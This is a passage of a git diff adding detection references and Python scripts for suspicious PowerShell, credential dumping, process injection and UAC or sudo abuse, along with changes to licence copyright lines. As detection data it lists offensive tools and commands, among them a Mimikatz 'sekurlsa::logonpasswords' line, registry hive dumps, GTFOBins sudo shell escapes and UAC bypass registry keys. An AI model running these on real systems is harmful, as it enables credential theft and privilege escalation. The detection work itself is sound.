"__main__": + main() diff --git a/skills/detecting-supply-chain-attacks-in-ci-cd/LICENSE b/skills/detecting-supply-chain-attacks-in-ci-cd/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-supply-chain-attacks-in-ci-cd/LICENSE +++ b/skills/detecting-supply-chain-attacks-in-ci-cd/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-suspicious-powershell-execution/LICENSE b/skills/detecting-suspicious-powershell-execution/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-suspicious-powershell-execution/LICENSE +++ b/skills/detecting-suspicious-powershell-execution/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-suspicious-powershell-execution/references/api-reference.md b/skills/detecting-suspicious-powershell-execution/references/api-reference.md new file mode 100644 index 00000000..3fae871d --- /dev/null +++ b/skills/detecting-suspicious-powershell-execution/references/api-reference.md @@ -0,0 +1,99 @@ +# API Reference: Suspicious PowerShell Execution Detection + +## Windows PowerShell Event Logs + +### Event IDs +| Event ID | Log | Description | +|----------|-----|-------------| +| 4104 | PowerShell/Operational | Script block logging | +| 4103 | PowerShell/Operational | Module logging | +| 800 | PowerShell | Pipeline execution details | +| 400 | PowerShell | Engine lifecycle (start) | +| 403 | PowerShell | Engine lifecycle (stop) | + +### Script Block Logging Query +```powershell +Get-WinEvent -FilterHashtable @{ + LogName = 'Microsoft-Windows-PowerShell/Operational' + Id = 4104 +} -MaxEvents 100 +``` + +### Event 4104 Properties +| Index | Field | Description | +|-------|-------|-------------| +| 0 | MessageNumber | Block sequence number | +| 1 | MessageTotal | Total blocks in script | +| 2 | ScriptBlockText | Actual script content | +| 3 | ScriptBlockId | Unique script ID | +| 4 | Path | Script file path | + +## Suspicious PowerShell Patterns + +### Execution Policy Bypass +```powershell +powershell -ExecutionPolicy Bypass -File script.ps1 +powershell -ep bypass -nop -w hidden -enc +``` + +### Common Obfuscation Techniques +| Technique | Example | +|-----------|---------| +| Concatenation | `"Inv"+"oke-Ex"+"pression"` | +| Variable substitution | `${I`nv`oke-`Ex`pression}` | +| Encoded commands | `-enc SQBuAHYAbwBrAGUALQA...` | +| Char array | `[char[]]@(73,69,88) -join ''` | + +## Sigma Detection Rules + +### Suspicious PowerShell Command Line +```yaml +title: Suspicious PowerShell Invocation +logsource: + product: windows + category: process_creation +detection: + selection: + CommandLine|contains: + - '-enc' + - '-EncodedCommand' + - 'FromBase64String' + - 'DownloadString' + - 'Invoke-Expression' + condition: selection +level: high +``` + +## AMSI (Antimalware Scan Interface) + +### AMSI Scan Functions +```c +HRESULT AmsiScanBuffer( + HAMSICONTEXT amsiContext, + PVOID buffer, + ULONG length, + LPCWSTR contentName, + HAMSISESSION amsiSession, + AMSI_RESULT *result +); +``` + +### AMSI Results +| Value | Meaning | +|-------|---------| +| 0 | Clean | +| 1 | Not Detected | +| 16384 | Blocked by admin | +| 32768 | Detected (malware) | + +## Microsoft Defender ATP API + +### Advanced Hunting Query +```http +POST https://api.security.microsoft.com/api/advancedqueries/run +Authorization: Bearer {token} + +{ + "Query": "DeviceProcessEvents | where FileName == 'powershell.exe' | where ProcessCommandLine has_any('encodedcommand','downloadstring','invoke-expression') | project Timestamp, DeviceName, ProcessCommandLine | take 100" +} +``` diff --git a/skills/detecting-suspicious-powershell-execution/scripts/agent.py b/skills/detecting-suspicious-powershell-execution/scripts/agent.py new file mode 100644 index 00000000..bb8d325b --- /dev/null +++ b/skills/detecting-suspicious-powershell-execution/scripts/agent.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python3 +"""Agent for detecting suspicious PowerShell execution patterns.""" + +import argparse +import json +import os +import re +import subprocess +import sys +from collections import Counter +from datetime import datetime, timezone + + +SUSPICIOUS_CMDLETS = [ + "Invoke-Expression", "IEX", "Invoke-WebRequest", "Invoke-RestMethod", + "Start-Process", "New-Object Net.WebClient", "DownloadString", + "DownloadFile", "System.Reflection.Assembly", "FromBase64String", + "Invoke-Mimikatz", "Invoke-Shellcode", "Invoke-DllInjection", + "Invoke-ReflectivePEInjection", "Get-Keystrokes", "Get-GPPPassword", + "Invoke-CredentialInjection", "Invoke-TokenManipulation", + "Add-Exfiltration", "Get-TimedScreenshot", +] + +OBFUSCATION_PATTERNS = [ + (r'\-[eE][nN][cC]\s', "Encoded command (-enc)"), + (r'[Ff][Rr][Oo][Mm][Bb][Aa][Ss][Ee]64', "Base64 decoding"), + (r'\$\{[^}]+\}', "Variable obfuscation ${...}"), + (r"'[^']*'\s*\+\s*'[^']*'", "String concatenation obfuscation"), + (r'\-[Ww]indow[Ss]tyle\s+[Hh]idden', "Hidden window execution"), + (r'\-[Nn]o[Pp]rofile', "NoProfile flag"), + (r'\-[Ee]xecution[Pp]olicy\s+[Bb]ypass', "Execution policy bypass"), + (r'[Ss]et-[Mm]pPreference.*-[Dd]isable', "Defender bypass attempt"), + (r'[Aa][Mm][Ss][Ii]', "AMSI reference"), +] + + +def parse_script_block_logs(): + """Parse PowerShell script block logging events (Event ID 4104).""" + events = [] + if sys.platform != "win32": + return events + ps_cmd = ( + "Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';" + "Id=4104} -MaxEvents 200 | Select-Object TimeCreated," + "@{N='ScriptBlock';E={$_.Properties[2].Value}}," + "@{N='Path';E={$_.Properties[4].Value}} | ConvertTo-Json -Depth 3" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + data = json.loads(result) if result.strip() else [] + return data if isinstance(data, list) else [data] + except (subprocess.SubprocessError, json.JSONDecodeError): + return [] + + +def analyze_script_content(script_text): + """Analyze a PowerShell script for suspicious patterns.""" + findings = [] + if not script_text: + return findings + + for cmdlet in SUSPICIOUS_CMDLETS: + if cmdlet.lower() in script_text.lower(): + findings.append({"type": "suspicious_cmdlet", "cmdlet": cmdlet}) + + for pattern, desc in OBFUSCATION_PATTERNS: + if re.search(pattern, script_text): + findings.append({"type": "obfuscation", "pattern": desc}) + + b64_match = re.findall(r'[A-Za-z0-9+/]{40,}={0,2}', script_text) + for b64 in b64_match[:3]: + try: + import base64 + decoded = base64.b64decode(b64).decode("utf-8", errors="replace") + if any(c.lower() in decoded.lower() for c in SUSPICIOUS_CMDLETS[:10]): + findings.append({"type": "encoded_payload", "preview": decoded[:100]}) + except Exception: + pass + + return findings + + +def analyze_log_file(log_path): + """Analyze a text file containing PowerShell commands.""" + findings = [] + try: + with open(log_path, "r", errors="replace") as f: + content = f.read() + results = analyze_script_content(content) + if results: + findings.append({ + "file": log_path, + "indicators": results, + "indicator_count": len(results), + }) + except FileNotFoundError: + print(f"[!] File not found: {log_path}") + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Detect suspicious PowerShell execution patterns" + ) + parser.add_argument("--event-logs", action="store_true", + help="Parse Windows PowerShell event logs") + parser.add_argument("--script", help="Analyze a PowerShell script file") + parser.add_argument("--log-dir", help="Directory of PS log files to scan") + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + print("[*] Suspicious PowerShell Execution Detection Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + + if args.event_logs: + events = parse_script_block_logs() + for evt in events: + script = evt.get("ScriptBlock", "") + indicators = analyze_script_content(script) + if indicators: + report["findings"].append({ + "source": "event_log", + "time": evt.get("TimeCreated", ""), + "path": evt.get("Path", ""), + "indicators": indicators, + "preview": script[:200] if args.verbose else "", + }) + print(f"[*] Analyzed {len(events)} script block events") + + if args.script: + findings = analyze_log_file(args.script) + report["findings"].extend(findings) + + if args.log_dir and os.path.isdir(args.log_dir): + for root, _, files in os.walk(args.log_dir): + for f in files: + if f.lower().endswith((".ps1", ".psm1", ".psd1", ".log", ".txt")): + findings = analyze_log_file(os.path.join(root, f)) + report["findings"].extend(findings) + + report["total_suspicious"] = len(report["findings"]) + report["risk_level"] = ( + "CRITICAL" if len(report["findings"]) >= 10 + else "HIGH" if len(report["findings"]) >= 5 + else "MEDIUM" if report["findings"] + else "LOW" + ) + print(f"[*] Suspicious findings: {len(report['findings'])}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-t1003-credential-dumping-with-edr/LICENSE b/skills/detecting-t1003-credential-dumping-with-edr/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-t1003-credential-dumping-with-edr/LICENSE +++ b/skills/detecting-t1003-credential-dumping-with-edr/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-t1003-credential-dumping-with-edr/references/api-reference.md b/skills/detecting-t1003-credential-dumping-with-edr/references/api-reference.md new file mode 100644 index 00000000..bb9a2d55 --- /dev/null +++ b/skills/detecting-t1003-credential-dumping-with-edr/references/api-reference.md @@ -0,0 +1,94 @@ +# API Reference: T1003 Credential Dumping Detection + +## MITRE ATT&CK T1003 Sub-Techniques + +| Sub-technique | Name | Detection | +|---------------|------|-----------| +| T1003.001 | LSASS Memory | Sysmon Event 10 | +| T1003.002 | SAM Registry | Event 4688 | +| T1003.003 | NTDS.dit | Event 4688, VSS events | +| T1003.004 | LSA Secrets | Registry access | +| T1003.005 | Cached Domain Creds | Registry access | +| T1003.006 | DCSync | Event 4662 | + +## Sysmon Events for Credential Dumping + +### Event ID 10 — ProcessAccess +| Field | Description | +|-------|-------------| +| SourceProcessId | PID of accessing process | +| SourceImage | Path of accessing process | +| TargetProcessId | PID of target (lsass.exe) | +| TargetImage | Path of target process | +| GrantedAccess | Access mask | + +### Suspicious Access Masks +| Mask | Meaning | +|------|---------| +| 0x1010 | QUERY_LIMITED + VM_READ | +| 0x1FFFFF | PROCESS_ALL_ACCESS | +| 0x1410 | QUERY_INFO + VM_READ | +| 0x0040 | DUP_HANDLE | + +### Event ID 1 — ProcessCreate +```xml +C:\tools\mimikatz.exe +mimikatz.exe "sekurlsa::logonpasswords" +``` + +## Windows Security Event Log + +### Event 4688 — Process Creation +```powershell +Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} +``` + +### Event 4662 — Object Access (DCSync detection) +``` +Properties: {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} # DS-Replication-Get-Changes +Properties: {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} # DS-Replication-Get-Changes-All +``` + +## CrowdStrike Falcon — Detection Query + +### Search for credential access alerts +```http +GET https://api.crowdstrike.com/detects/queries/detects/v1 + ?filter=behaviors.tactic:'Credential Access' +Authorization: Bearer {token} +``` + +## Microsoft Defender ATP — Advanced Hunting + +### LSASS Access KQL +```kql +DeviceProcessEvents +| where FileName == "lsass.exe" +| join kind=inner ( + DeviceProcessEvents + | where InitiatingProcessFileName !in ("svchost.exe", "csrss.exe") +) on DeviceId +| project Timestamp, DeviceName, InitiatingProcessFileName +``` + +## Sigma Rules + +### LSASS Memory Access +```yaml +title: LSASS Memory Access by Non-System Process +logsource: + product: windows + category: process_access +detection: + selection: + TargetImage|endswith: '\lsass.exe' + GrantedAccess|contains: + - '0x1010' + - '0x1FFFFF' + filter: + SourceImage|endswith: + - '\svchost.exe' + - '\csrss.exe' + condition: selection and not filter +level: critical +``` diff --git a/skills/detecting-t1003-credential-dumping-with-edr/scripts/agent.py b/skills/detecting-t1003-credential-dumping-with-edr/scripts/agent.py new file mode 100644 index 00000000..feb375e4 --- /dev/null +++ b/skills/detecting-t1003-credential-dumping-with-edr/scripts/agent.py @@ -0,0 +1,190 @@ +#!/usr/bin/env python3 +"""Agent for detecting T1003 credential dumping via EDR telemetry analysis.""" + +import argparse +import json +import os +import re +import subprocess +import sys +from datetime import datetime, timezone + + +LSASS_ACCESS_MASKS = { + 0x1010: "PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ", + 0x1FFFFF: "PROCESS_ALL_ACCESS", + 0x1410: "PROCESS_QUERY_INFORMATION | PROCESS_VM_READ", + 0x0040: "PROCESS_DUP_HANDLE", +} + +CREDENTIAL_DUMP_TOOLS = [ + "mimikatz", "procdump", "sqldumper", "comsvcs.dll", + "nanodump", "pypykatz", "lazagne", "secretsdump", + "gsecdump", "wce.exe", "fgdump", "pwdump", + "ntdsutil", "reg save hklm\\sam", "reg save hklm\\system", +] + +SYSMON_EVENTS = { + 1: "Process Creation", + 10: "Process Access (LSASS read)", + 11: "File Create (credential dump file)", + 7: "Image Loaded (suspicious DLL)", +} + + +def check_lsass_access_sysmon(): + """Query Sysmon Event ID 10 for LSASS process access.""" + findings = [] + if sys.platform != "win32": + return findings + ps_cmd = ( + "Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational';" + "Id=10} -MaxEvents 500 " + "| Where-Object {$_.Properties[8].Value -match 'lsass'} " + "| Select-Object TimeCreated," + "@{N='SourceProcess';E={$_.Properties[4].Value}}," + "@{N='SourcePID';E={$_.Properties[3].Value}}," + "@{N='TargetProcess';E={$_.Properties[8].Value}}," + "@{N='GrantedAccess';E={$_.Properties[10].Value}} " + "| ConvertTo-Json -Depth 3" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + data = json.loads(result) if result.strip() else [] + if not isinstance(data, list): + data = [data] + for evt in data: + source = evt.get("SourceProcess", "") + access = evt.get("GrantedAccess", "") + if not any(safe in source.lower() for safe in ["svchost", "csrss", "lsass", "wmiprvse"]): + findings.append({ + "time": evt.get("TimeCreated", ""), + "source": source, + "target": evt.get("TargetProcess", ""), + "access_mask": access, + "suspicious": True, + }) + except (subprocess.SubprocessError, json.JSONDecodeError): + pass + return findings + + +def check_credential_dump_processes(): + """Check for known credential dumping tool processes.""" + findings = [] + if sys.platform != "win32": + return findings + ps_cmd = ( + "Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational';" + "Id=1} -MaxEvents 1000 " + "| Select-Object TimeCreated," + "@{N='Image';E={$_.Properties[4].Value}}," + "@{N='CommandLine';E={$_.Properties[10].Value}}," + "@{N='ParentImage';E={$_.Properties[20].Value}} " + "| ConvertTo-Json -Depth 3" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + data = json.loads(result) if result.strip() else [] + if not isinstance(data, list): + data = [data] + for evt in data: + cmdline = (evt.get("CommandLine", "") or "").lower() + image = (evt.get("Image", "") or "").lower() + for tool in CREDENTIAL_DUMP_TOOLS: + if tool.lower() in cmdline or tool.lower() in image: + findings.append({ + "time": evt.get("TimeCreated", ""), + "image": evt.get("Image", ""), + "commandline": evt.get("CommandLine", "")[:200], + "tool_match": tool, + }) + break + except (subprocess.SubprocessError, json.JSONDecodeError): + pass + return findings + + +def check_sam_ntds_access(): + """Check for SAM/NTDS.dit/SYSTEM registry hive access.""" + findings = [] + patterns = [ + r"reg\s+save\s+hklm\\sam", + r"reg\s+save\s+hklm\\system", + r"reg\s+save\s+hklm\\security", + r"ntdsutil.*\"ac\s+i\s+ntds\"", + r"vssadmin.*create\s+shadow", + r"copy.*ntds\.dit", + ] + if sys.platform != "win32": + return findings + ps_cmd = ( + "Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} -MaxEvents 500 " + "| Select-Object TimeCreated," + "@{N='CommandLine';E={$_.Properties[8].Value}} " + "| ConvertTo-Json" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + data = json.loads(result) if result.strip() else [] + if not isinstance(data, list): + data = [data] + for evt in data: + cmdline = (evt.get("CommandLine", "") or "").lower() + for pat in patterns: + if re.search(pat, cmdline): + findings.append({ + "time": evt.get("TimeCreated", ""), + "commandline": cmdline[:200], + "pattern": pat, + }) + except (subprocess.SubprocessError, json.JSONDecodeError): + pass + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Detect T1003 credential dumping via EDR telemetry" + ) + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + print("[*] T1003 Credential Dumping Detection Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + lsass = check_lsass_access_sysmon() + report["findings"]["lsass_access"] = lsass + print(f"[*] Suspicious LSASS access events: {len(lsass)}") + + tools = check_credential_dump_processes() + report["findings"]["dump_tools"] = tools + print(f"[*] Credential dump tool detections: {len(tools)}") + + sam = check_sam_ntds_access() + report["findings"]["sam_ntds_access"] = sam + print(f"[*] SAM/NTDS access events: {len(sam)}") + + total = len(lsass) + len(tools) + len(sam) + report["risk_level"] = "CRITICAL" if total >= 5 else "HIGH" if total >= 2 else "MEDIUM" if total > 0 else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-t1055-process-injection-with-sysmon/LICENSE b/skills/detecting-t1055-process-injection-with-sysmon/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-t1055-process-injection-with-sysmon/LICENSE +++ b/skills/detecting-t1055-process-injection-with-sysmon/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-t1055-process-injection-with-sysmon/references/api-reference.md b/skills/detecting-t1055-process-injection-with-sysmon/references/api-reference.md new file mode 100644 index 00000000..960b7204 --- /dev/null +++ b/skills/detecting-t1055-process-injection-with-sysmon/references/api-reference.md @@ -0,0 +1,86 @@ +# API Reference: T1055 Process Injection Detection with Sysmon + +## MITRE ATT&CK T1055 Sub-Techniques + +| Sub-technique | Method | Sysmon Event | +|---------------|--------|--------------| +| T1055.001 | DLL Injection | Event 7, 8, 10 | +| T1055.002 | PE Injection | Event 8, 10 | +| T1055.003 | Thread Execution Hijacking | Event 8 | +| T1055.004 | Asynchronous Procedure Call | Event 8, 10 | +| T1055.005 | Thread Local Storage | Event 8 | +| T1055.012 | Process Hollowing | Event 1, 10, 25 | + +## Sysmon Event IDs + +### Event 8 — CreateRemoteThread +| Field | Index | Description | +|-------|-------|-------------| +| SourceProcessGuid | 1 | GUID of injecting process | +| SourceProcessId | 2 | PID of injecting process | +| SourceImage | 4 | Path of injecting binary | +| TargetProcessGuid | 5 | GUID of target process | +| TargetProcessId | 6 | PID of target process | +| TargetImage | 7 | Path of target binary | +| StartAddress | 8 | Thread start address | +| StartFunction | 9 | Thread entry function | + +### Event 10 — ProcessAccess +| Field | Index | Description | +|-------|-------|-------------| +| SourceProcessId | 3 | Accessing PID | +| SourceImage | 4 | Accessing binary path | +| TargetProcessId | 7 | Accessed PID | +| TargetImage | 8 | Accessed binary path | +| GrantedAccess | 10 | Access rights mask | + +### Event 7 — Image Loaded +| Field | Index | Description | +|-------|-------|-------------| +| Image | 3 | Process that loaded DLL | +| ImageLoaded | 5 | DLL path | +| Signed | 6 | Signature status | +| SignatureStatus | 8 | Valid/Invalid/Unknown | + +## Process Access Masks + +| Mask | Right | Injection Use | +|------|-------|---------------| +| 0x0008 | PROCESS_VM_OPERATION | VirtualAllocEx | +| 0x0010 | PROCESS_VM_READ | ReadProcessMemory | +| 0x0020 | PROCESS_VM_WRITE | WriteProcessMemory | +| 0x0800 | PROCESS_SUSPEND_RESUME | Hollowing | +| 0x001F0FFF | PROCESS_ALL_ACCESS | Full control | + +## Sysmon Configuration for Injection Detection +```xml + + + + 0x1F0FFF + 0x001F0FFF + + + C:\Windows\System32\svchost.exe + + + +``` + +## Sigma Rule Example +```yaml +title: CreateRemoteThread into System Process +logsource: + product: windows + category: create_remote_thread +detection: + selection: + TargetImage|endswith: + - '\svchost.exe' + - '\explorer.exe' + - '\lsass.exe' + filter: + SourceImage|startswith: 'C:\Windows\System32\' + condition: selection and not filter +level: critical +``` diff --git a/skills/detecting-t1055-process-injection-with-sysmon/scripts/agent.py b/skills/detecting-t1055-process-injection-with-sysmon/scripts/agent.py new file mode 100644 index 00000000..f0ba2aea --- /dev/null +++ b/skills/detecting-t1055-process-injection-with-sysmon/scripts/agent.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +"""Agent for detecting T1055 process injection via Sysmon event analysis.""" + +import argparse +import json +import re +import subprocess +import sys +from datetime import datetime, timezone + + +INJECTION_ACCESS_MASKS = { + "0x1F0FFF": "PROCESS_ALL_ACCESS", + "0x001F0FFF": "PROCESS_ALL_ACCESS (full)", + "0x0800": "PROCESS_SUSPEND_RESUME", + "0x0020": "PROCESS_VM_WRITE", + "0x0008": "PROCESS_VM_OPERATION", + "0x0010": "PROCESS_VM_READ", +} + +INJECTION_DLLS = [ + "ntdll.dll", "kernel32.dll", "kernelbase.dll", +] + +SUSPICIOUS_API_CALLS = [ + "VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread", + "NtMapViewOfSection", "QueueUserAPC", "SetWindowsHookEx", + "RtlCreateUserThread", "NtQueueApcThread", +] + + +def query_sysmon_events(event_id, max_events=500): + """Query Sysmon operational log for specific event ID.""" + if sys.platform != "win32": + return [] + ps_cmd = ( + f"Get-WinEvent -FilterHashtable @{{LogName='Microsoft-Windows-Sysmon/Operational';" + f"Id={event_id}}} -MaxEvents {max_events} " + "| ForEach-Object { @{" + "TimeCreated=$_.TimeCreated.ToString('o');" + "Properties=@($_.Properties | ForEach-Object {$_.Value})" + "}} | ConvertTo-Json -Depth 3" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + data = json.loads(result) if result.strip() else [] + return data if isinstance(data, list) else [data] + except (subprocess.SubprocessError, json.JSONDecodeError): + return [] + + +def analyze_process_access(): + """Analyze Sysmon Event ID 10 for injection-related process access.""" + findings = [] + events = query_sysmon_events(10) + for evt in events: + props = evt.get("Properties", []) + if len(props) < 11: + continue + source_img = str(props[4]) if len(props) > 4 else "" + target_img = str(props[8]) if len(props) > 8 else "" + access = str(props[10]) if len(props) > 10 else "" + safe_sources = ["csrss.exe", "svchost.exe", "lsass.exe", "services.exe", "smss.exe"] + if any(s in source_img.lower() for s in safe_sources): + continue + if access in INJECTION_ACCESS_MASKS: + findings.append({ + "event": "ProcessAccess", + "time": evt.get("TimeCreated", ""), + "source": source_img, + "target": target_img, + "access_mask": access, + "mask_meaning": INJECTION_ACCESS_MASKS.get(access, "Unknown"), + }) + return findings + + +def analyze_create_remote_thread(): + """Analyze Sysmon Event ID 8 for CreateRemoteThread injection.""" + findings = [] + events = query_sysmon_events(8) + for evt in events: + props = evt.get("Properties", []) + if len(props) < 8: + continue + source_img = str(props[4]) if len(props) > 4 else "" + target_img = str(props[7]) if len(props) > 7 else "" + findings.append({ + "event": "CreateRemoteThread", + "time": evt.get("TimeCreated", ""), + "source": source_img, + "target": target_img, + "severity": "HIGH", + }) + return findings + + +def analyze_image_loads(): + """Analyze Sysmon Event ID 7 for suspicious DLL loads in unusual processes.""" + findings = [] + events = query_sysmon_events(7, max_events=200) + for evt in events: + props = evt.get("Properties", []) + if len(props) < 6: + continue + image = str(props[3]) if len(props) > 3 else "" + loaded = str(props[5]) if len(props) > 5 else "" + if loaded.lower().endswith("amsi.dll") and "powershell" not in image.lower(): + findings.append({ + "event": "SuspiciousImageLoad", + "time": evt.get("TimeCreated", ""), + "process": image, + "loaded_image": loaded, + "note": "AMSI DLL loaded by non-PowerShell process", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Detect T1055 process injection via Sysmon telemetry" + ) + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--max-events", type=int, default=500) + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + print("[*] T1055 Process Injection Detection Agent (Sysmon)") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + access = analyze_process_access() + report["findings"]["process_access"] = access + print(f"[*] Suspicious process access: {len(access)}") + + threads = analyze_create_remote_thread() + report["findings"]["remote_threads"] = threads + print(f"[*] Remote thread creation: {len(threads)}") + + loads = analyze_image_loads() + report["findings"]["suspicious_loads"] = loads + print(f"[*] Suspicious image loads: {len(loads)}") + + total = len(access) + len(threads) + len(loads) + report["risk_level"] = "CRITICAL" if total >= 5 else "HIGH" if total >= 2 else "MEDIUM" if total > 0 else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-t1548-abuse-elevation-control-mechanism/LICENSE b/skills/detecting-t1548-abuse-elevation-control-mechanism/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-t1548-abuse-elevation-control-mechanism/LICENSE +++ b/skills/detecting-t1548-abuse-elevation-control-mechanism/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-t1548-abuse-elevation-control-mechanism/references/api-reference.md b/skills/detecting-t1548-abuse-elevation-control-mechanism/references/api-reference.md new file mode 100644 index 00000000..f757348c --- /dev/null +++ b/skills/detecting-t1548-abuse-elevation-control-mechanism/references/api-reference.md @@ -0,0 +1,91 @@ +# API Reference: T1548 Abuse Elevation Control Mechanism + +## MITRE ATT&CK T1548 Sub-Techniques + +| Sub-technique | Name | Platform | +|---------------|------|----------| +| T1548.001 | Setuid and Setgid | Linux/macOS | +| T1548.002 | Bypass User Account Control | Windows | +| T1548.003 | Sudo and Sudo Caching | Linux/macOS | +| T1548.004 | Elevated Execution with Prompt | macOS | + +## UAC Bypass — Auto-Elevate Binaries + +### Known Auto-Elevate Targets +| Binary | Bypass Method | +|--------|---------------| +| `fodhelper.exe` | Registry key hijack | +| `computerdefaults.exe` | ms-settings handler | +| `eventvwr.exe` | mscfile handler | +| `sdclt.exe` | App paths hijack | +| `wsreset.exe` | Bypasses defender | +| `cmstp.exe` | INF file execution | + +### Registry Keys for UAC Bypass +``` +HKCU\Software\Classes\ms-settings\Shell\Open\command +HKCU\Software\Classes\mscfile\Shell\Open\command +``` + +## Windows UAC Configuration + +### Check UAC Level +```powershell +Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System +# EnableLUA = 1 (UAC enabled) +# ConsentPromptBehaviorAdmin = 0-5 +``` + +### ConsentPromptBehaviorAdmin Values +| Value | Behavior | +|-------|----------| +| 0 | Elevate without prompting | +| 1 | Prompt for credentials on secure desktop | +| 2 | Prompt for consent on secure desktop | +| 5 | Prompt for consent (default) | + +## Linux Privilege Escalation + +### sudo Configuration Check +```bash +sudo -l # List allowed commands +cat /etc/sudoers # Full sudoers file +visudo -c # Validate syntax +``` + +### Find SUID Binaries +```bash +find / -perm -4000 -type f 2>/dev/null +find / -perm -2000 -type f 2>/dev/null # SGID +``` + +### GTFOBins Sudo Escapes +| Binary | Escape | +|--------|--------| +| `vim` | `sudo vim -c ':!/bin/bash'` | +| `find` | `sudo find . -exec /bin/bash \;` | +| `python` | `sudo python -c 'import os; os.system("/bin/bash")'` | +| `nmap` | `sudo nmap --interactive` (old versions) | + +## Sysmon Detection Rules + +### Event 13 — Registry Value Set +```xml + + ms-settings\Shell\Open\command + mscfile\Shell\Open\command + +``` + +## Sigma Rule — UAC Bypass +```yaml +title: UAC Bypass via Fodhelper +logsource: + product: windows + category: registry_set +detection: + selection: + TargetObject|contains: 'ms-settings\Shell\Open\command' + condition: selection +level: critical +``` diff --git a/skills/detecting-t1548-abuse-elevation-control-mechanism/scripts/agent.py b/skills/detecting-t1548-abuse-elevation-control-mechanism/scripts/agent.py new file mode 100644 index 00000000..f584df5d --- /dev/null +++ b/skills/detecting-t1548-abuse-elevation-control-mechanism/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +"""Agent for detecting T1548 Abuse Elevation Control Mechanism (UAC bypass, sudo abuse).""" + +import argparse +import json +import os +import re +import subprocess +import sys +from datetime import datetime, timezone + + +UAC_BYPASS_BINARIES = [ + "fodhelper.exe", "computerdefaults.exe", "eventvwr.exe", + "sdclt.exe", "slui.exe", "cmstp.exe", "mmc.exe", + "wsreset.exe", "changepk.exe", "dism.exe", +] + +UAC_BYPASS_REGISTRY_KEYS = [ + r"HKCU\Software\Classes\ms-settings\Shell\Open\command", + r"HKCU\Software\Classes\mscfile\Shell\Open\command", + r"HKCU\Software\Classes\exefile\Shell\Open\command", + r"HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths", +] + +SUDO_ABUSE_PATTERNS = [ + r"sudo\s+-u\s+\#-1", + r"sudo\s+.*NOPASSWD", + r"sudo\s+.*env_reset.*env_keep", + r"sudo\s+\S+\s+/bin/bash", + r"sudo\s+find\s+.*-exec", + r"sudo\s+vim\s+-c\s+.*!", + 